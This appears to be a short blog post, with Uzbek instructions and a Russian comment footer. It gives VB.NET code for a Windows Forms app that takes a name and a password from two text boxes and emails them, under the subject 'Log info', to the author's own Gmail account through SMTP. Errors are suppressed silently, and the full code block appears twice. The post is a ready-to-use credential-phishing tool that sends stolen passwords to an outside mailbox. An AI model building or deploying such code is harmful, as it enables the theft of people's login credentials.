Visual Studio dasturini Kompyuterimizga o'rnatamiz
open new project ========>> windows application bo'limini tanlab quydagi kodlarni kiritamiz
ImportsSystem.Net.Mail
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim MyMailMessage As New MailMessage()
Try
MyMailMessage.From = New MailAddress("YOUREMAIL")
MyMailMessage.To.Add("YOUREMAIL")
MyMailMessage.Subject = "Log info"
MyMailMessage.Body = "Name: " & TextBox1.Text & " / Pass: " & TextBox2.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("YOUREMAIL", "YOUREMAILPASSWORD")
SMTP.Send(MyMailMessage)
Catch ex As Exception
End Try
End Sub
End Class
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim MyMailMessage As New MailMessage()
Try
MyMailMessage.From = New MailAddress("YOUREMAIL")
MyMailMessage.To.Add("YOUREMAIL")
MyMailMessage.Subject = "Log info"
MyMailMessage.Body = "Name: " & TextBox1.Text & " / Pass: " & TextBox2.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("YOUREMAIL", "YOUREMAILPASSWORD")
SMTP.Send(MyMailMessage)
Catch ex As Exception
End Try
End Sub
End Class
Комментариев нет:
Отправить комментарий